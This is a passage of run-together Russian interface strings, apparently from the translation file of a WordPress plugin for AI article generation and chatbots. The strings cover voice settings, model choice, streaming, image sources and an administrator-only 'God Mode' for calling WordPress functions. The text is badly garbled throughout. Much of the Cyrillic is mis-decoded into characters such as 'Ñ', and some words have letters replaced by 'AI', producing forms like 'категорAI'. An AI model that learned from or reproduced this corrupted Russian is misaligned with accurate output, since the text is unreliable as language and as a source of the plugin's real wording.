автоматичеÑки.Выберите профиль аудиоуÑтройÑтва выбранного голоÑа.Выберите выÑоту голоÑа выбранного голоÑа. Ð’Ñ‹Ñота тона речи в диапазоне [-20,0, 20,0]. 20 означает увеличение на 20 полутонов от иÑходной выÑоты тона. -20 означает уменьшение на 20 полутонов от иÑходной выÑоты тона.Выберите ÑкороÑÑ‚ÑŒ голоÑа выбранного голоÑа. СкороÑÑ‚ÑŒ/ÑкороÑÑ‚ÑŒ речи в диапазоне [0,25, 4,0]. 1.0 — Ñто Ð½Ð¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð¸ÑÑ…Ð¾Ð´Ð½Ð°Ñ ÑкороÑÑ‚ÑŒ, Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ñ‹Ð¼ голоÑом. 2.0 в два раза быÑтрее, а 0.5 в два раза медленнее. ЕÑли не уÑтановлено (0.0), по умолчанию иÑпользуетÑÑ ÑобÑÑ‚Ð²ÐµÐ½Ð½Ð°Ñ ÑкороÑÑ‚ÑŒ 1.0. Любые другие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ < 0,25 или > 4,0 вернут ошибку.Выберите ÑкороÑÑ‚ÑŒ выбранного голоÑа. Значение по умолчанию — 1. Мин.: 0,25, макÑ.: 4.Выберите ÑтабильноÑÑ‚ÑŒ выбранного голоÑа. Более выÑÐ¾ÐºÐ°Ñ ÑтабильноÑÑ‚ÑŒ обеÑпечивает поÑледовательноÑÑ‚ÑŒ, но может привеÑти к монотонноÑти, поÑтому Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ длинного текÑта рекомендуетÑÑ Ñнизить ÑтабильноÑÑ‚ÑŒ. Значение по умолчанию — 0,75.Выберите Ñзык выбранного голоÑа.Выберите Ð¸Ð¼Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ голоÑа.Выберите тему Ð´Ð»Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸ÑВыберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего Чат-бота.Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего контента.Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ñвоего Видео Чат-бота. Ð’Ñ‹ можете добавлÑÑ‚ÑŒ голоÑа в Ñледующем формате: voice_provider:voice_name:voice_config — ÑпиÑки доÑтупных голоÑов:Выберите голоÑ, который вы хотите иÑпользовать Ð´Ð»Ñ Ð²Ð¸Ð´ÐµÐ¾ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. ГолоÑа можно добавлÑÑ‚ÑŒ в Ñледующем формате: voice_provider:voice_name:voice_config - ÑпиÑки доÑтупных голоÑов:Выбрать дейÑтвиеВыберите шаблон OmniBlock, который будет загружен в очередь OmniBlock. Обратите внимание, что при Ñтом будет перезапиÑана Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ Ð½Ð°Ñтройка OmniBlock.Выберите аватарВыберите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлено уведомление, еÑли конкретное правило иÑчерпало Ñвои ключевые Ñлова и из-за Ñтого оно не публикует новый контент. Это будет применÑÑ‚ÑŒÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в том Ñлучае, еÑли вы уÑтановите флажок «Обрабатывать каждый заголовок/тему только один раз» в правилах. Ð’Ñ‹ можете ввеÑти разделенный запÑтыми ÑпиÑок адреÑов Ñлектронной почты, которые будут уведомлены.Выберите изображениеВыберите, еÑли вы не хотите добавлÑÑ‚ÑŒ ÑÑылки на продукты непоÑредÑтвенно в заголовки.Выберите, еÑли вы не хотите обрабатывать одну и ту же публикацию дважды, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¼Ð°ÑÑовое редактирование публикации.Выберите, хотите ли вы, чтобы инÑтрумент замены ключевых Ñлов ÑоответÑтвовал также чаÑтичным Ñловам или только полным Ñловам.Выберите, хотите ли вы, чтобы инÑтрумент замены ключевых Ñлов ÑоответÑтвовал в режиме Ñлов Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ региÑтра (верхний региÑÑ‚Ñ€ отличаетÑÑ Ð¾Ñ‚ Ñтрочных Ñлов).Выберите, хотите ли вы добавить раздел «Ðнализ отзывов клиентов» в Ñозданный поÑÑ‚. Чтобы включить анализ отзывов клиентов Ð´Ð»Ñ Ñтатей, обÑзательно добавьте промпт также в поле наÑтроек «Промпт Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° отзывов клиентов» ниже.Выберите, хотите ли вы добавить раздел «ПлюÑÑ‹ и минуÑы» в Ñозданный поÑÑ‚. Чтобы включить «За и против» Ð´Ð»Ñ Ñтатей, обÑзательно добавьте промпт также в поле наÑтроек «Промпт о плюÑах и минуÑах Ñтатьи» Ñнизу.Выберите, хотите ли вы добавить Раздел ВопроÑов и Ответов к Ñозданному ПоÑту. Чтобы включить функцию «ВопроÑÑ‹ Ответы» Ð´Ð»Ñ Ð¡Ñ‚Ð°Ñ‚ÐµÐ¹, обÑзательно добавьте Промпт также в поле ÐаÑтроек «Промты ВопроÑов и ответов по Статье» Ñнизу.Выберите, хотите ли вы добавить Раздел «Оглавление» к Ñозданному ПоÑту.Выберите, хотите ли вы добавить в Ñозданную Ñтатью Ñравнительную таблицу товаров.Выберите, хотите ли вы добавить изображение в каждый из Ñоздаваемых заголовков из Ñтатьи.Выберите, хотите ли вы добавить изображение продукта в Ñтатью.Выберите, хотите ли вы добавить Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð° в Ñтатью.Выберите, хотите ли вы разрешить пуÑтые ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚Ð° или нет.Выберите, хотите ли вы разрешить чат-боту отправлÑÑ‚ÑŒ HTML-ответы, а подключаемому модулю выполнÑÑ‚ÑŒ и анализировать Ñти HTML-ответы.Выберите, хотите ли вы применить абÑолютный таймфрейм. Ð’ абÑолюте день предÑтавлÑет ÑегоднÑшний день. Ð’ противном Ñлучае он предÑтавлÑет поÑледние 24 чаÑа Ñ Ð½Ð°ÑтоÑщего момента. Та же логика применима и к другим таймфреймам.Выберите, хотите ли вы автоматичеÑки прокручивать окно вниз при поÑвленAI новых ПоÑтов.Выберите, хотите ли вы изменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта поÑле Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта.Выберите, нужно ли преобразовывать разметку в HTML в контенте, Ñоздаваемом иÑкуÑÑтвенным интеллектом.Выберите, хотите ли вы преобразовать новые Ñтроки в теги в Ñозданном контенте Ñтатьи.Выберите, хотите ли вы включить функцию вызова в предварительном проÑмотре Чат-бота Ñнизу. Это применимо только в Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ñ‹Ñ… моделей ИИ (не ÐÑÑиÑтентов ИИ - Ð´Ð»Ñ Ð½Ð¸Ñ… вызов функций должен быть включен в меню Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). Кроме того, вызов функций будет работать только Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ админиÑтратора.Выберите, хотите ли вы включить Вызов Функций в глобально внедренном Чат-боте, на вÑем фронт-Ñнде и/или бÑк-Ñнде вашего Ñайта. Это применимо только в Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ñ‹Ñ… моделей ИИ (не ÐÑÑиÑтентов ИИ - Ð´Ð»Ñ Ð½Ð¸Ñ… вызов функций должен быть включен в меню Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). Также вызов функций будет работать только Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… пользователей Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ админиÑтратора.Выберите, хотите ли вы включить модуль вызова функции WordPress (Режим Бога) Ð´Ð»Ñ Ð§Ð°Ñ‚-бота.Выберите, хотите ли вы включить также напиÑание SEO-метаопиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ Ñ‚Ð°ÐºÑономий. Обратите внимание, что Ñто будет работать только Ð´Ð»Ñ Ñ‚Ð°ÐºÑономий, автоматичеÑки обрабатываемых Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ð¿Ð¾Ð»Ñ Ð½Ð°Ñтроек «Включить автоматичеÑкую обработку вÑех вновь добавленных такÑономий длÑ», указанного выше. Также обратите внимание, что на вашем Ñайте должен быть уÑтановлен SEO-плагин из Ñледующего ÑпиÑка: Yoast SEO, All In One SEO, Rank Math.Выберите, хотите ли вы включить автоматичеÑкую обработку и Ñоздание опиÑÐ°Ð½Ð¸Ñ Ñ Ð¸Ñпользованием ИИ вÑех вновь добавленных такÑономий Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… вами названий такÑономий (Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… еще не задано опиÑание при их Ñоздании).Выберите, хотите ли вы включить модерацию чат-ботаВыберите, хотите ли вы включить преобразование текÑта чат-бота в речь/видео.Выберите, еÑли вы хотите включить прÑмую очиÑтку веб-Ñайта Pixabay. Это будет генерировать разные результаты от API.Выберите, хотите ли вы включить вÑтраивание Чат-бота на отдаленных Ñайтах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ iframes.Выберите, хотите ли вы включить потоковую передачу ответов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ формы AI.Выберите, хотите ли вы включить функцию Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь/видео в плагине.Выберите, хотите ли вы включить ' Изображение Dall-E' Ð´Ð»Ñ Ð§Ð°Ñ‚-бота.Выберите, хотите ли вы включить копирование ПоÑтов, еÑли пользователи нажимают вÑплывающие окна ПоÑтов.Выберите, хотите ли вы включить режим поÑтоÑнного чата также Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей.Выберите, хотите ли вы включить режим поÑтоÑнного чата. Чаты будут ÑохранÑÑ‚ÑŒÑÑ Ð² базе данных и могут быть проÑмотрены в меню "Лимиты и ÑтатиÑтика" плагина. ЕÑли вы хотите включить функцию поÑтоÑнного чата Векторной Базы Данных , вам нужно добавить Ñвой API-ключ Ð´Ð»Ñ ÑервиÑа Vector Database в меню "ОÑновные наÑтройки" плагина. Также необходимо включить вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота: меню 'ОÑновные наÑтройки' -> вкладка 'Ð’ÑтраиваниÑ' -> 'Включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ' -> уÑтановить флажок 'Шорткоды Чат-бота' -> Сохранить ÐаÑтройки.Выберите, еÑли вы хотите, чтобы Промпты редактировалиÑÑŒ пользователем. Эту функцию Ñледует иÑпользовать только вмеÑте Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸ÐµÐ¹ шаблонов Промптов.Выберите, хотите ли вы включить функцию голоÑового ввода Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота.Выберите, хотите ли вы разрешить иÑпользование поиÑка картинок Google Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ‹Ð¼ фильтром Creative Commons Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹.Выберите, еÑли вы хотите разрешить иÑпользование Unsplash API Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹.Выберите, хотите ли вы разрешить пользователÑм загружать файлы PDF в Чат-бот.Выберите, хотите ли вы включить поÑвление Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота. Обратите внимание: Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции вам понадобитÑÑ Ð¼Ð¾Ð´ÐµÐ»ÑŒ иÑкуÑÑтвенного интеллекта, Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‰Ð°Ñ Ð¿Ð¾Ñвление.Выберите, хотите ли вы включить/выключить функцию Чат-бота Режим Бога. Это позволит полноÑтью контролировать ваш Ñайт WordPress, позволÑÑ ÐµÐ¼Ñƒ вызывать функции из WordPress напрÑмую. ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñту функцию, вы Ñможете Ñоздавать поÑÑ‚Ñ‹ прÑмо из Чат-бота, назначать такÑономии, Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ многое другое! Внимание! Это БЕТÐ-функциÑ, иÑпользуйте ее Ñ Ð¾ÑторожноÑтью. Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только при иÑпользовании обычных AI-моделей (не AI-аÑÑиÑтентов - Ð´Ð»Ñ Ð½Ð¸Ñ… Режим Бога должен быть включен в меню Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐÑÑиÑтента). Кроме того, Режим Бога будет работать только Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ админиÑтратора.Выберите, хотите ли вы внедрить чат-бота глобально, во веÑÑŒ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¸/или Ñерверную чаÑÑ‚ÑŒ вашего Ñайта.Выберите, хотите ли вы ограничить макÑимальное количеÑтво Ñимволов, извлекаемых из pdf-файлов.Выберите, хотите ли вы ограничить макÑимальное количеÑтво Ñтраниц, извлеченных из pdf-файлов.Выберите, хотите ли вы, чтобы чат-бот отвечал полным текÑтом, или вы хотите включить Ñффект набора текÑта, чтобы текÑÑ‚ поÑвлÑлÑÑ Ð¿Ð¾Ñтепенно. Ð’Ñ‹ также можете иÑпользовать потоковую передачу, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ ÑвлÑетÑÑ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ð¼ методом, поÑкольку в Ñтом Ñлучае плагин будет показывать ответ в реальном времени, поÑкольку он генерируетÑÑ Ð¸ÑкуÑÑтвенным интеллектом (аналогично ChatGPT).Выберите, хотите ли вы, чтобы чат-бот отвечал полным текÑтом, или вы хотите включить потоковую передачу ответов (Ñто рекомендуемый метод). Ð’ Ñтом Ñлучае ответ поÑвитÑÑ Ð² реальном времени, так как его генерирует AI (аналог ChatGPT). Ð’Ñ‹ также можете иÑпользовать Ñффект набора текÑта, поÑтому текÑÑ‚ будет поÑвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ñтепенно, но в Ñтом Ñлучае ответ начнет поÑвлÑÑ‚ÑŒÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ поÑле того, как AI отправит плагину полный ответ. Это также необходимо Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь плагина.Выберите, еÑли вы хотите, чтобы Ñто правило предназначалоÑÑŒ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° ПоÑта, Контента или обоих.Выберите, хотите ли вы открывать добавленные ÑÑылки в новой вкладке.Выберите, хотите ли вы перезапиÑать ÑущеÑтвующие поÑÑ‚Ñ‹ в процеÑÑе публикации.Выберите, хотите ли вы перезапиÑать голоÑовой идентификатор чат-бота Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь. Он должен точно Ñовпадать Ñ Ð³Ð¾Ð»Ð¾Ñовым идентификатором иÑпользуемого вами механизма Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь. Ðапример, Ð´Ð»Ñ API Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь OpenAI голоÑовые идентификаторы могут быть Ñледующими: Ñплав, Ñхо, оникÑ, нова, баÑнÑ, мерцание.Выберите, хотите ли вы перезапиÑать URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ð°Ð²Ð°Ñ‚Ð°Ñ€Ð° чат-бота.Выберите, хотите ли вы обрабатывать добавленные видео YouTube в порÑдке поÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ в Ñлучайном порÑдке.Выберите, хотите ли вы обрабатывать каждое ключевое Ñлово из добавленного ÑпиÑка только один раз.Выберите, хотите ли вы обрабатывать каждый Заголовок из добавленного ÑпиÑка только один раз.Выберите, хотите ли вы рандомизировать порÑдок иÑточников беÑплатных изображений при каждом запуÑке. ЕÑли вы уÑтановите Ñтот флажок, вышеуказанный порÑдок больше не будет применÑÑ‚ÑŒÑÑ.Выберите, хотите ли вы рандомизировать порÑдок результатов поиÑка возвращаемых изображений. Это может Ñнизить точноÑÑ‚ÑŒ изображений, но Ñделать их более уникальными.Выберите, хотите ли вы переиндекÑировать вÑе ПоÑÑ‚Ñ‹ (Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ñ‚Ðµ, которые уже проиндекÑированы).Выберите, хотите ли вы удалить код JavaScript из HTML-ответов чат-бота.Выберите, хотите ли вы удалить вÑе HTML-теги из ÑпарÑенного контента и оÑтавить в нем только проÑтой текÑтовый контент.Выберите, хотите ли вы отображать редактор WP Rich Text вмеÑто обычной текÑтовой облаÑти Ð´Ð»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð° результатов AI.Выберите, хотите ли вы показывать раÑширенные параметры Формы Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹.Выберите, хотите ли вы отображать кнопку очиÑтки чата.Выберите, хотите ли вы отображать кнопку загрузки файла TXT журнала чата.Выберите, хотите ли вы отображать заголовок чат-бота.Выберите, хотите ли вы отображать кнопку очиÑтки.Выберите, хотите ли вы показывать пользователÑм заголовок формы.Выберите, хотите ли вы попытатьÑÑ Ð¿ÐµÑ€ÐµÐ²ÐµÑти ключевые Ñлова поиÑкового запроÑа на английÑкий Ñзык. Это может быть полезно Ð´Ð»Ñ Ð½ÐµÐ°Ð½Ð³Ð»Ð¸Ð¹Ñких Ñзыков.Выберите, хотите ли вы иÑпользовать Ñгенерированные AI заголовки Ð´Ð»Ñ Ð¿Ð¾Ñтов, Ñозданных плагином. Ð’ противном Ñлучае будет иÑпользоватьÑÑ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ðµ видео YouTube.Выберите, хотите ли вы иÑпользовать AI Зрение, и отправьте в модель AI также избранное изображение отредактированного поÑта. Обратите внимание, что при включении Ñтой функции также может потребоватьÑÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ðµ промпта AI.Выберите, хотите ли вы иÑпользовать модуль AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¡Ð²Ñзанных Заголовков Ð´Ð»Ñ Ñозданных Статей.Выберите, хотите ли вы иÑпользовать результаты поиÑка Bing Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑвÑзанных Заголовоков Ð´Ð»Ñ Ñозданных Статей.Выберите, хотите ли вы иÑпользовать указанную выше Промпт Ñодержимого Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñей Ñтатьи из одного вызова API (флажок уÑтановлен) или запуÑкать Промпт Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Раздела отдельно (флажок не уÑтановлен). ЕÑли вы уÑтановите Ñтот флажок, обÑзательно ÑоответÑтвующим образом измените Промпт Контента.Выберите, хотите ли вы иÑпользовать один и тот же ключ API при Ñоздании поÑтов или хотите выбирать новый ключ API Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запроÑа API.Выберите, хотите ли вы добавить ÑоответÑтвующее видео YouTube в конец Ñозданной Ñтатьи.Выберите, хотите ли вы добавить иÑходное видео YouTube в конец Ñозданной Ñтатьи.Выберите изображениÑ, получившие награду «Выбор редакции».Выберите, в каких чаÑÑ‚ÑÑ… ПоÑтов, опубликованных на вашем Ñайте, вы хотите иÑкать СвÑзанные Ключевые Слова. ЕÑли вы оÑтавите Ñто поле пуÑтым, значениÑми по умолчанию будут Заголовок и Контент ПоÑта.Выберите, в каких Промптах вы хотите запуÑтить указанное выше регулÑрное выражение (Regex). Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или любые их комбинации): Заголовок, Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, Разделы, Контент, Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, ÐнонÑ.Выберите, по каким промптам вы хотите запуÑтить указанное выше регулÑрное выражение. Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или Ð»ÑŽÐ±Ð°Ñ Ð¸Ð· их комбинаций): заголовок, вÑтупление, разделы, контент, контроль качеÑтва, завершение, отрывок.Выберите, по каким запроÑам вы хотите запуÑтить указанное выше регулÑрное выражение. Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или Ð»ÑŽÐ±Ð°Ñ Ð¸Ð· их комбинаций): заголовок, вÑтупление, разделы, контент, обзоры, запроÑÑ‹, контроль качеÑтва, завершение, отрывок.Выберите Ñлужбу AI API, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° в плагине Ñ Ð¸Ñпользованием моделей gpt-3.5/gpt-4.Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ñ AI Создателем. ЕÑли вы выберете аÑÑиÑтента, модель больше Ð½ÐµÐ»ÑŒÐ·Ñ Ð±ÑƒÐ´ÐµÑ‚ выбрать, вмеÑто Ñтого будет иÑпользоватьÑÑ Ð¼Ð¾Ð´ÐµÐ»ÑŒ, Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ð°Ñ Ð°ÑÑиÑтенту.Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ. Это отключит возможноÑÑ‚ÑŒ выбора моделей AI , поÑкольку модели, закрепленные за аÑÑиÑтентом, будут иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°.Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. Это отключит возможноÑÑ‚ÑŒ выбора моделей AI, поÑкольку модели, закрепленные за ÐÑÑиÑтентом, будут иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° метаопиÑаний AI SEO.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий. Ð’Ñ‹ можете добавить Ñто в категорAI ПоÑтов, еÑли выберете «КатегорAI, Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление категорий».Выберите Модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Комментариев.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов. Ð’Ñ‹ можете добавить Ñто к тегам поÑтов, еÑли выберете «Теги, Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление тегов».Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта.Выберите модель иÑкуÑÑтвенного интеллекта, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° анализа отзывов клиентов.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и минуÑов.Выберите Модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и Ответов.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий. Ð’Ñ‹ можете добавить Ñто в категорAI ПоÑтов, еÑли выберете «КатегорAI, Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление категорий».Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ 